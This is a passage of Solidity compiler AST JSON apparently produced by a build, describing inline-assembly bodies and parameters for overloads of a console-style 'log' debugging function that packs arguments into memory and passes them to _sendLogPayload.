ntifier","src":"295236:3:22"},"nativeSrc":"295236:14:22","nodeType":"YulFunctionCall","src":"295236:14:22"},{"arguments":[{"name":"shift","nativeSrc":"295256:5:22","nodeType":"YulIdentifier","src":"295256:5:22"},{"arguments":[{"name":"shift","nativeSrc":"295267:5:22","nodeType":"YulIdentifier","src":"295267:5:22"},{"name":"w","nativeSrc":"295274:1:22","nodeType":"YulIdentifier","src":"295274:1:22"}],"functionName":{"name":"shr","nativeSrc":"295263:3:22","nodeType":"YulIdentifier","src":"295263:3:22"},"nativeSrc":"295263:13:22","nodeType":"YulFunctionCall","src":"295263:13:22"}],"functionName":{"name":"shl","nativeSrc":"295252:3:22","nodeType":"YulIdentifier","src":"295252:3:22"},"nativeSrc":"295252:25:22","nodeType":"YulFunctionCall","src":"295252:25:22"}],"functionName":{"name":"mstore","nativeSrc":"295229:6:22","nodeType":"YulIdentifier","src":"295229:6:22"},"nativeSrc":"295229:49:22","nodeType":"YulFunctionCall","src":"295229:49:22"},"nativeSrc":"295229:49:22","nodeType":"YulExpressionStatement","src":"295229:49:22"}]},"name":"writeString","nativeSrc":"294950:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"294971:3:22","nodeType":"YulTypedName","src":"294971:3:22","type":""},{"name":"w","nativeSrc":"294976:1:22","nodeType":"YulTypedName","src":"294976:1:22","type":""}],"src":"294950:342:22"},{"nativeSrc":"295305:17:22","nodeType":"YulAssignment","src":"295305:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295317:4:22","nodeType":"YulLiteral","src":"295317:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"295311:5:22","nodeType":"YulIdentifier","src":"295311:5:22"},"nativeSrc":"295311:11:22","nodeType":"YulFunctionCall","src":"295311:11:22"},"variableNames":[{"name":"m0","nativeSrc":"295305:2:22","nodeType":"YulIdentifier","src":"295305:2:22"}]},{"nativeSrc":"295335:17:22","nodeType":"YulAssignment","src":"295335:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295347:4:22","nodeType":"YulLiteral","src":"295347:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"295341:5:22","nodeType":"YulIdentifier","src":"295341:5:22"},"nativeSrc":"295341:11:22","nodeType":"YulFunctionCall","src":"295341:11:22"},"variableNames":[{"name":"m1","nativeSrc":"295335:2:22","nodeType":"YulIdentifier","src":"295335:2:22"}]},{"nativeSrc":"295365:17:22","nodeType":"YulAssignment","src":"295365:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295377:4:22","nodeType":"YulLiteral","src":"295377:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"295371:5:22","nodeType":"YulIdentifier","src":"295371:5:22"},"nativeSrc":"295371:11:22","nodeType":"YulFunctionCall","src":"295371:11:22"},"variableNames":[{"name":"m2","nativeSrc":"295365:2:22","nodeType":"YulIdentifier","src":"295365:2:22"}]},{"nativeSrc":"295395:17:22","nodeType":"YulAssignment","src":"295395:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295407:4:22","nodeType":"YulLiteral","src":"295407:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"295401:5:22","nodeType":"YulIdentifier","src":"295401:5:22"},"nativeSrc":"295401:11:22","nodeType":"YulFunctionCall","src":"295401:11:22"},"variableNames":[{"name":"m3","nativeSrc":"295395:2:22","nodeType":"YulIdentifier","src":"295395:2:22"}]},{"nativeSrc":"295425:17:22","nodeType":"YulAssignment","src":"295425:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295437:4:22","nodeType":"YulLiteral","src":"295437:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"295431:5:22","nodeType":"YulIdentifier","src":"295431:5:22"},"nativeSrc":"295431:11:22","nodeType":"YulFunctionCall","src":"295431:11:22"},"variableNames":[{"name":"m4","nativeSrc":"295425:2:22","nodeType":"YulIdentifier","src":"295425:2:22"}]},{"nativeSrc":"295455:17:22","nodeType":"YulAssignment","src":"295455:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295467:4:22","nodeType":"YulLiteral","src":"295467:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"295461:5:22","nodeType":"YulIdentifier","src":"295461:5:22"},"nativeSrc":"295461:11:22","nodeType":"YulFunctionCall","src":"295461:11:22"},"variableNames":[{"name":"m5","nativeSrc":"295455:2:22","nodeType":"YulIdentifier","src":"295455:2:22"}]},{"nativeSrc":"295485:17:22","nodeType":"YulAssignment","src":"295485:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295497:4:22","nodeType":"YulLiteral","src":"295497:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"295491:5:22","nodeType":"YulIdentifier","src":"295491:5:22"},"nativeSrc":"295491:11:22","nodeType":"YulFunctionCall","src":"295491:11:22"},"variableNames":[{"name":"m6","nativeSrc":"295485:2:22","nodeType":"YulIdentifier","src":"295485:2:22"}]},{"nativeSrc":"295515:17:22","nodeType":"YulAssignment","src":"295515:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"295527:4:22","nodeType":"YulLiteral","src":"295527:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"295521:5:22","nodeType":"YulIdentifier","src":"295521:5:22"},"nativeSrc":"295521:11:22","nodeType":"YulFunctionCall","src":"295521:11:22"},"variableNames":[{"name":"m7","nativeSrc":"295515:2:22","nodeType":"YulIdentifier","src":"295515:2:22"}]},{"nativeSrc":"295545:18:22","nodeType":"YulAssignment","src":"295545:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"295557:5:22","nodeType":"YulLiteral","src":"295557:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"295551:5:22","nodeType":"YulIdentifier","src":"295551:5:22"},"nativeSrc":"295551:12:22","nodeType":"YulFunctionCall","src":"295551:12:22"},"variableNames":[{"name":"m8","nativeSrc":"295545:2:22","nodeType":"YulIdentifier","src":"295545:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295648:4:22","nodeType":"YulLiteral","src":"295648:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"295654:10:22","nodeType":"YulLiteral","src":"295654:10:22","type":"","value":"0xb7b914ca"}],"functionName":{"name":"mstore","nativeSrc":"295641:6:22","nodeType":"YulIdentifier","src":"295641:6:22"},"nativeSrc":"295641:24:22","nodeType":"YulFunctionCall","src":"295641:24:22"},"nativeSrc":"295641:24:22","nodeType":"YulExpressionStatement","src":"295641:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295685:4:22","nodeType":"YulLiteral","src":"295685:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"295691:2:22","nodeType":"YulIdentifier","src":"295691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"295678:6:22","nodeType":"YulIdentifier","src":"295678:6:22"},"nativeSrc":"295678:16:22","nodeType":"YulFunctionCall","src":"295678:16:22"},"nativeSrc":"295678:16:22","nodeType":"YulExpressionStatement","src":"295678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295714:4:22","nodeType":"YulLiteral","src":"295714:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"295720:4:22","nodeType":"YulLiteral","src":"295720:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"295707:6:22","nodeType":"YulIdentifier","src":"295707:6:22"},"nativeSrc":"295707:18:22","nodeType":"YulFunctionCall","src":"295707:18:22"},"nativeSrc":"295707:18:22","nodeType":"YulExpressionStatement","src":"295707:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295745:4:22","nodeType":"YulLiteral","src":"295745:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"295751:2:22","nodeType":"YulIdentifier","src":"295751:2:22"}],"functionName":{"name":"mstore","nativeSrc":"295738:6:22","nodeType":"YulIdentifier","src":"295738:6:22"},"nativeSrc":"295738:16:22","nodeType":"YulFunctionCall","src":"295738:16:22"},"nativeSrc":"295738:16:22","nodeType":"YulExpressionStatement","src":"295738:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295774:4:22","nodeType":"YulLiteral","src":"295774:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"295780:4:22","nodeType":"YulLiteral","src":"295780:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"295767:6:22","nodeType":"YulIdentifier","src":"295767:6:22"},"nativeSrc":"295767:18:22","nodeType":"YulFunctionCall","src":"295767:18:22"},"nativeSrc":"295767:18:22","nodeType":"YulExpressionStatement","src":"295767:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295810:4:22","nodeType":"YulLiteral","src":"295810:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"295816:2:22","nodeType":"YulIdentifier","src":"295816:2:22"}],"functionName":{"name":"writeString","nativeSrc":"295798:11:22","nodeType":"YulIdentifier","src":"295798:11:22"},"nativeSrc":"295798:21:22","nodeType":"YulFunctionCall","src":"295798:21:22"},"nativeSrc":"295798:21:22","nodeType":"YulExpressionStatement","src":"295798:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295844:4:22","nodeType":"YulLiteral","src":"295844:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"295850:2:22","nodeType":"YulIdentifier","src":"295850:2:22"}],"functionName":{"name":"writeString","nativeSrc":"295832:11:22","nodeType":"YulIdentifier","src":"295832:11:22"},"nativeSrc":"295832:21:22","nodeType":"YulFunctionCall","src":"295832:21:22"},"nativeSrc":"295832:21:22","nodeType":"YulExpressionStatement","src":"295832:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43514,"isOffset":false,"isSlot":false,"src":"295305:2:22","valueSize":1},{"declaration":43517,"isOffset":false,"isSlot":false,"src":"295335:2:22","valueSize":1},{"declaration":43520,"isOffset":false,"isSlot":false,"src":"295365:2:22","valueSize":1},{"declaration":43523,"isOffset":false,"isSlot":false,"src":"295395:2:22","valueSize":1},{"declaration":43526,"isOffset":false,"isSlot":false,"src":"295425:2:22","valueSize":1},{"declaration":43529,"isOffset":false,"isSlot":false,"src":"295455:2:22","valueSize":1},{"declaration":43532,"isOffset":false,"isSlot":false,"src":"295485:2:22","valueSize":1},{"declaration":43535,"isOffset":false,"isSlot":false,"src":"295515:2:22","valueSize":1},{"declaration":43538,"isOffset":false,"isSlot":false,"src":"295545:2:22","valueSize":1},{"declaration":43504,"isOffset":false,"isSlot":false,"src":"295691:2:22","valueSize":1},{"declaration":43506,"isOffset":false,"isSlot":false,"src":"295816:2:22","valueSize":1},{"declaration":43508,"isOffset":false,"isSlot":false,"src":"295751:2:22","valueSize":1},{"declaration":43510,"isOffset":false,"isSlot":false,"src":"295850:2:22","valueSize":1}],"id":43540,"nodeType":"InlineAssembly","src":"294927:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43542,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"295888:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43543,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"295894:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43541,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"295872:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43544,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"295872:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43545,"nodeType":"ExpressionStatement","src":"295872:28:22"},{"AST":{"nativeSrc":"295919:273:22","nodeType":"YulBlock","src":"295919:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"295940:4:22","nodeType":"YulLiteral","src":"295940:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"295946:2:22","nodeType":"YulIdentifier","src":"295946:2:22"}],"functionName":{"name":"mstore","nativeSrc":"295933:6:22","nodeType":"YulIdentifier","src":"295933:6:22"},"nativeSrc":"295933:16:22","nodeType":"YulFunctionCall","src":"295933:16:22"},"nativeSrc":"295933:16:22","nodeType":"YulExpressionStatement","src":"295933:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295969:4:22","nodeType":"YulLiteral","src":"295969:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"295975:2:22","nodeType":"YulIdentifier","src":"295975:2:22"}],"functionName":{"name":"mstore","nativeSrc":"295962:6:22","nodeType":"YulIdentifier","src":"295962:6:22"},"nativeSrc":"295962:16:22","nodeType":"YulFunctionCall","src":"295962:16:22"},"nativeSrc":"295962:16:22","nodeType":"YulExpressionStatement","src":"295962:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"295998:4:22","nodeType":"YulLiteral","src":"295998:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"296004:2:22","nodeType":"YulIdentifier","src":"296004:2:22"}],"functionName":{"name":"mstore","nativeSrc":"295991:6:22","nodeType":"YulIdentifier","src":"295991:6:22"},"nativeSrc":"295991:16:22","nodeType":"YulFunctionCall","src":"295991:16:22"},"nativeSrc":"295991:16:22","nodeType":"YulExpressionStatement","src":"295991:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296027:4:22","nodeType":"YulLiteral","src":"296027:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"296033:2:22","nodeType":"YulIdentifier","src":"296033:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296020:6:22","nodeType":"YulIdentifier","src":"296020:6:22"},"nativeSrc":"296020:16:22","nodeType":"YulFunctionCall","src":"296020:16:22"},"nativeSrc":"296020:16:22","nodeType":"YulExpressionStatement","src":"296020:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296056:4:22","nodeType":"YulLiteral","src":"296056:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"296062:2:22","nodeType":"YulIdentifier","src":"296062:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296049:6:22","nodeType":"YulIdentifier","src":"296049:6:22"},"nativeSrc":"296049:16:22","nodeType":"YulFunctionCall","src":"296049:16:22"},"nativeSrc":"296049:16:22","nodeType":"YulExpressionStatement","src":"296049:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296085:4:22","nodeType":"YulLiteral","src":"296085:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"296091:2:22","nodeType":"YulIdentifier","src":"296091:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296078:6:22","nodeType":"YulIdentifier","src":"296078:6:22"},"nativeSrc":"296078:16:22","nodeType":"YulFunctionCall","src":"296078:16:22"},"nativeSrc":"296078:16:22","nodeType":"YulExpressionStatement","src":"296078:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296114:4:22","nodeType":"YulLiteral","src":"296114:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"296120:2:22","nodeType":"YulIdentifier","src":"296120:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296107:6:22","nodeType":"YulIdentifier","src":"296107:6:22"},"nativeSrc":"296107:16:22","nodeType":"YulFunctionCall","src":"296107:16:22"},"nativeSrc":"296107:16:22","nodeType":"YulExpressionStatement","src":"296107:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296143:4:22","nodeType":"YulLiteral","src":"296143:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"296149:2:22","nodeType":"YulIdentifier","src":"296149:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296136:6:22","nodeType":"YulIdentifier","src":"296136:6:22"},"nativeSrc":"296136:16:22","nodeType":"YulFunctionCall","src":"296136:16:22"},"nativeSrc":"296136:16:22","nodeType":"YulExpressionStatement","src":"296136:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"296172:5:22","nodeType":"YulLiteral","src":"296172:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"296179:2:22","nodeType":"YulIdentifier","src":"296179:2:22"}],"functionName":{"name":"mstore","nativeSrc":"296165:6:22","nodeType":"YulIdentifier","src":"296165:6:22"},"nativeSrc":"296165:17:22","nodeType":"YulFunctionCall","src":"296165:17:22"},"nativeSrc":"296165:17:22","nodeType":"YulExpressionStatement","src":"296165:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43514,"isOffset":false,"isSlot":false,"src":"295946:2:22","valueSize":1},{"declaration":43517,"isOffset":false,"isSlot":false,"src":"295975:2:22","valueSize":1},{"declaration":43520,"isOffset":false,"isSlot":false,"src":"296004:2:22","valueSize":1},{"declaration":43523,"isOffset":false,"isSlot":false,"src":"296033:2:22","valueSize":1},{"declaration":43526,"isOffset":false,"isSlot":false,"src":"296062:2:22","valueSize":1},{"declaration":43529,"isOffset":false,"isSlot":false,"src":"296091:2:22","valueSize":1},{"declaration":43532,"isOffset":false,"isSlot":false,"src":"296120:2:22","valueSize":1},{"declaration":43535,"isOffset":false,"isSlot":false,"src":"296149:2:22","valueSize":1},{"declaration":43538,"isOffset":false,"isSlot":false,"src":"296179:2:22","valueSize":1}],"id":43546,"nodeType":"InlineAssembly","src":"295910:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"294671:3:22","parameters":{"id":43511,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43504,"mutability":"mutable","name":"p0","nameLocation":"294683:2:22","nodeType":"VariableDeclaration","scope":43548,"src":"294675:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43503,"name":"uint256","nodeType":"ElementaryTypeName","src":"294675:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43506,"mutability":"mutable","name":"p1","nameLocation":"294695:2:22","nodeType":"VariableDeclaration","scope":43548,"src":"294687:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43505,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294687:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43508,"mutability":"mutable","name":"p2","nameLocation":"294707:2:22","nodeType":"VariableDeclaration","scope":43548,"src":"294699:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43507,"name":"uint256","nodeType":"ElementaryTypeName","src":"294699:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43510,"mutability":"mutable","name":"p3","nameLocation":"294719:2:22","nodeType":"VariableDeclaration","scope":43548,"src":"294711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43509,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"294674:48:22"},"returnParameters":{"id":43512,"nodeType":"ParameterList","parameters":[],"src":"294737:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43594,"nodeType":"FunctionDefinition","src":"296204:1536:22","nodes":[],"body":{"id":43593,"nodeType":"Block","src":"296279:1461:22","nodes":[],"statements":[{"assignments":[43560],"declarations":[{"constant":false,"id":43560,"mutability":"mutable","name":"m0","nameLocation":"296297:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296289:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43559,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296289:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43561,"nodeType":"VariableDeclarationStatement","src":"296289:10:22"},{"assignments":[43563],"declarations":[{"constant":false,"id":43563,"mutability":"mutable","name":"m1","nameLocation":"296317:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43562,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296309:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43564,"nodeType":"VariableDeclarationStatement","src":"296309:10:22"},{"assignments":[43566],"declarations":[{"constant":false,"id":43566,"mutability":"mutable","name":"m2","nameLocation":"296337:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43565,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296329:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43567,"nodeType":"VariableDeclarationStatement","src":"296329:10:22"},{"assignments":[43569],"declarations":[{"constant":false,"id":43569,"mutability":"mutable","name":"m3","nameLocation":"296357:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296349:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43568,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296349:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43570,"nodeType":"VariableDeclarationStatement","src":"296349:10:22"},{"assignments":[43572],"declarations":[{"constant":false,"id":43572,"mutability":"mutable","name":"m4","nameLocation":"296377:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43571,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296369:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43573,"nodeType":"VariableDeclarationStatement","src":"296369:10:22"},{"assignments":[43575],"declarations":[{"constant":false,"id":43575,"mutability":"mutable","name":"m5","nameLocation":"296397:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296389:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43574,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296389:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43576,"nodeType":"VariableDeclarationStatement","src":"296389:10:22"},{"assignments":[43578],"declarations":[{"constant":false,"id":43578,"mutability":"mutable","name":"m6","nameLocation":"296417:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296409:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43577,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296409:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43579,"nodeType":"VariableDeclarationStatement","src":"296409:10:22"},{"assignments":[43581],"declarations":[{"constant":false,"id":43581,"mutability":"mutable","name":"m7","nameLocation":"296437:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43580,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296429:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43582,"nodeType":"VariableDeclarationStatement","src":"296429:10:22"},{"assignments":[43584],"declarations":[{"constant":false,"id":43584,"mutability":"mutable","name":"m8","nameLocation":"296457:2:22","nodeType":"VariableDeclaration","scope":43593,"src":"296449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43583,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43585,"nodeType":"VariableDeclarationStatement","src":"296449:10:22"},{"AST":{"nativeSrc":"296478:927:22","nodeType":"YulBlock","src":"296478:927:22","statements":[{"body":{"nativeSrc":"296521:313:22","nodeType":"YulBlock","src":"296521:313:22","statements":[{"nativeSrc":"296539:15:22","nodeType":"YulVariableDeclaration","src":"296539:15:22","value":{"kind":"number","nativeSrc":"296553:1:22","nodeType":"YulLiteral","src":"296553:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"296543:6:22","nodeType":"YulTypedName","src":"296543:6:22","type":""}]},{"body":{"nativeSrc":"296624:40:22","nodeType":"YulBlock","src":"296624:40:22","statements":[{"body":{"nativeSrc":"296653:9:22","nodeType":"YulBlock","src":"296653:9:22","statements":[{"nativeSrc":"296655:5:22","nodeType":"YulBreak","src":"296655:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"296641:6:22","nodeType":"YulIdentifier","src":"296641:6:22"},{"name":"w","nativeSrc":"296649:1:22","nodeType":"YulIdentifier","src":"296649:1:22"}],"functionName":{"name":"byte","nativeSrc":"296636:4:22","nodeType":"YulIdentifier","src":"296636:4:22"},"nativeSrc":"296636:15:22","nodeType":"YulFunctionCall","src":"296636:15:22"}],"functionName":{"name":"iszero","nativeSrc":"296629:6:22","nodeType":"YulIdentifier","src":"296629:6:22"},"nativeSrc":"296629:23:22","nodeType":"YulFunctionCall","src":"296629:23:22"},"nativeSrc":"296626:36:22","nodeType":"YulIf","src":"296626:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"296581:6:22","nodeType":"YulIdentifier","src":"296581:6:22"},{"kind":"number","nativeSrc":"296589:4:22","nodeType":"YulLiteral","src":"296589:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"296578:2:22","nodeType":"YulIdentifier","src":"296578:2:22"},"nativeSrc":"296578:16:22","nodeType":"YulFunctionCall","src":"296578:16:22"},"nativeSrc":"296571:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"296595:28:22","nodeType":"YulBlock","src":"296595:28:22","statements":[{"nativeSrc":"296597:24:22","nodeType":"YulAssignment","src":"296597:24:22","value":{"arguments":[{"name":"length","nativeSrc":"296611:6:22","nodeType":"YulIdentifier","src":"296611:6:22"},{"kind":"number","nativeSrc":"296619:1:22","nodeType":"YulLiteral","src":"296619:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"296607:3:22","nodeType":"YulIdentifier","src":"296607:3:22"},"nativeSrc":"296607:14:22","nodeType":"YulFunctionCall","src":"296607:14:22"},"variableNames":[{"name":"length","nativeSrc":"296597:6:22","nodeType":"YulIdentifier","src":"296597:6:22"}]}]},"pre":{"nativeSrc":"296575:2:22","nodeType":"YulBlock","src":"296575:2:22","statements":[]},"src":"296571:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"296688:3:22","nodeType":"YulIdentifier","src":"296688:3:22"},{"name":"length","nativeSrc":"296693:6:22","nodeType":"YulIdentifier","src":"296693:6:22"}],"functionName":{"name":"mstore","nativeSrc":"296681:6:22","nodeType":"YulIdentifier","src":"296681:6:22"},"nativeSrc":"296681:19:22","nodeType":"YulFunctionCall","src":"296681:19:22"},"nativeSrc":"296681:19:22","nodeType":"YulExpressionStatement","src":"296681:19:22"},{"nativeSrc":"296717:37:22","nodeType":"YulVariableDeclaration","src":"296717:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"296734:3:22","nodeType":"YulLiteral","src":"296734:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"296743:1:22","nodeType":"YulLiteral","src":"296743:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"296746:6:22","nodeType":"YulIdentifier","src":"296746:6:22"}],"functionName":{"name":"shl","nativeSrc":"296739:3:22","nodeType":"YulIdentifier","src":"296739:3:22"},"nativeSrc":"296739:14:22","nodeType":"YulFunctionCall","src":"296739:14:22"}],"functionName":{"name":"sub","nativeSrc":"296730:3:22","nodeType":"YulIdentifier","src":"296730:3:22"},"nativeSrc":"296730:24:22","nodeType":"YulFunctionCall","src":"296730:24:22"},"variables":[{"name":"shift","nativeSrc":"296721:5:22","nodeType":"YulTypedName","src":"296721:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"296782:3:22","nodeType":"YulIdentifier","src":"296782:3:22"},{"kind":"number","nativeSrc":"296787:4:22","nodeType":"YulLiteral","src":"296787:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"296778:3:22","nodeType":"YulIdentifier","src":"296778:3:22"},"nativeSrc":"296778:14:22","nodeType":"YulFunctionCall","src":"296778:14:22"},{"arguments":[{"name":"shift","nativeSrc":"296798:5:22","nodeType":"YulIdentifier","src":"296798:5:22"},{"arguments":